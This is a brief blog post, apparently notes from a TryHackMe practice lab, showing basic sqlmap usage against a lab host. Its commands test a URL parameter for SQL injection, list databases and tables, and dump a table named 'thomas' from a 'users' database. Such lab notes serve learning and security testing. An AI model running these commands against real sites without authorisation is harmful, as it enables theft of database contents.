SQLMap The Basics

18 May 2025 • 1 min read

sqlmap -u http://sqlmaptesting.thm/search/cat=1

this command helps us to test different types of injection for the parameter cat

then we can elaborate more and get more data

then we can use

sqlmap -u http://sqlmaptesting.thm/search/cat=1 --dbs

to get the names of the databases then

sqlmap -u http://sqlmaptesting.thm/search/cat=1 -D users --tables

to get tables in database then

sqlmap -u http://sqlmaptesting.thm/search/cat=1 -D users -T thomas --dump

Start searching

Enter keywords to search articles.